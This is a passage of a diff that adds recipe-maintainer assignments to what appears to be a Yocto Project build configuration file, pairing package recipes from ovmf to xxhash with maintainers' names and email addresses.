+RECIPE_MAINTAINER:pn-ovmf = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
+RECIPE_MAINTAINER:pn-ovmf-shell-image = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
+RECIPE_MAINTAINER:pn-p11-kit = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-package-index = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pango = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-parted = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-patch = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-patchelf = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-pbzip2 = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-pciutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-pcmanfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-perf = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-perl = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-perlcross = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-piglit = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pigz = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-pinentry = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-pixman = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-pkgconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pkgconfig = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pm-utils = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pointercal-xinput = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-pong-clock = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-popt = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-powertop = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ppp = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-ppp-dialin = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-procps = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-pseudo = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-psmisc = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-psplash = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-ptest-runner = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-pulseaudio = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-pulseaudio-client-conf-sato = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-puzzles = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-python3 = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-async = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-asn1crypto = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-atomicwrites = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-attrs = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-bcrypt = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cffi = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cryptography = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cryptography-vectors = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-cython = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-dbus = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-dbusmock = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-docutils = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-dtschema = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-dtschema-wrapper = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pycryptodome = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pycryptodomex = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pyrsistent = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-extras = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-flit-core = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-git = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-gitdb = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-hypothesis = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-idna = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-importlib-metadata = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-iniconfig = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-iniparse = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-iso8601 = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-installer = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-python3-jinja2 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-python3-jsonpointer = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-jsonschema = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-libarchive-c = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-magic = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-mako = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-markdown = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-markupsafe = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-python3-more-itertools = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-numpy = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-packaging = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pathlib2 = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pbr = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pip = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pluggy = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-ply = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-poetry-core = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pretend = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-psutil = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-py = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyyaml = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pycairo = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pycparser = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pyelftools = "Joshua Watt <JPEWhacker@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-pygments = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-pygobject = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-pyparsing = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-pytest = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pytest-subtests = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-pytz = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3339-validator = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3986-validator = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-rfc3987 = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-ruamel-yaml = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-scons = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-semantic-version = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools-rust-native = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-setuptools-scm = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-six = "Zang Ruochen <zangrc.fnst@fujitsu.com>"
+RECIPE_MAINTAINER:pn-python3-smartypants = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-smmap = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-sortedcontainers = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-strict-rfc3339 = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-subunit = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-testtools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-toml = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-tomli = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-typing-extensions = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-typogrify = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-vcversioner = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-wcwidth = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-webcolors = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-wheel = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-python3-zipp = "Tim Orling <tim.orling@konsulko.com>"
+RECIPE_MAINTAINER:pn-qemu = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-helper-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-system-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemuwrapper-cross = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-quilt = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-quilt-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-quota = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-re2c = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-readline = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-repo = "Jasper Orschulko <Jasper.Orschulko@iris-sensing.com>"
+RECIPE_MAINTAINER:pn-resolvconf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-rgb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-rpcbind = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-rng-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-rpcsvc-proto = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-rpm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-rsync = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-rt-tests = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ruby = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-run-postinsts = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-rust = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-cross-${TUNE_PKGARCH}-${TCLIBC} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-crosssdk-${SDK_ARCH}-glibc = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-hello-world = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-llvm = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-tools-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rxvt-unicode = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-sato-screenshot = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-sbc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-screen = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-seatd = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-sed = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-serf = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-setserial = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-settings-daemon = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-shadow = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shadow-securetty = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shadow-sysroot = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shaderc = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-shared-mime-info = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-shutdown-desktop = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-signing-keys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-slang = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-socat = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-speex = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-speexdsp = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-spirv-headers = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-spirv-tools = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-sqlite3 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-squashfs-tools = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ssh-pregen-hostkeys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-startup-notification = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-strace = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-stress-ng = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-subversion = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-sudo = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-swig = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-sysfsutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-sysklogd = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-syslinux = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-sysstat = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-boot = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-bootchart = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-bootconf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-conf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-compat-units = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-serialgetty = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-systemctl-native = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemtap = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-systemtap-native = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-systemtap-uprobes = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-sysvinit = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-sysvinit-inittab = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-taglib = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tar = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-tcf-agent = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tcl = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-tcp-wrappers = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-testexport-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-texinfo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-texinfo-dummy-native = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tiff = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-time = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ttf-bitstream-vera = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tzcode-native = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-tzdata = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-u-boot = "Marek Vasut <marek.vasut@gmail.com>"
+RECIPE_MAINTAINER:pn-u-boot-tools = "Marek Vasut <marek.vasut@gmail.com>"
+RECIPE_MAINTAINER:pn-udev-extraconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-unfs3 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-unifdef = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-uninative-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-unzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-update-rc.d = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-usbinit = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-usbutils = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-util-linux = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-util-linux-libuuid = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-util-macros = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-v86d = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-vala = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-valgrind = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-vim = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-vim-tiny = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-virglrenderer = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-volatile-binds = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-vte = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-samples = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-waffle = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-watchdog-config = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-wayland = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wayland-protocols = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wayland-utils = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-webkitgtk = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-weston = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-weston-init = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wget = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-which = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-wic-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-wireless-regdb = "Adrian Bunk <bunk@kernel.org>"
+RECIPE_MAINTAINER:pn-wpa-supplicant = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-wpebackend-fdo = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-x11perf = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-x264 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-xauth = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-proto = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-image = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-keysyms = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-renderutil = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-wm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcursor-transparent-theme = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xdg-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-xdpyinfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xeyes = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-evdev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-keyboard = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-libinput = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-mouse = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-synaptics = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-vmmouse = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-cirrus = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-fbdev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-intel = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-vesa = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-vmware = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xhost = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinetd = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-xinit = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinput = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinput-calibrator = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xkbcomp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xkeyboard-config = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xmlto = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-xmodmap = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xorg-minimal-fonts = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xorgproto = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xprop = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xrandr = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xrestop = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-nodm-init = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-xf86-config = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-xorg = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xset = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xtrans = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xuser-account = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xvinfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xwayland = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xwininfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xxhash = "Alexander Kanavin <alex.kanavin@gmail.com>"
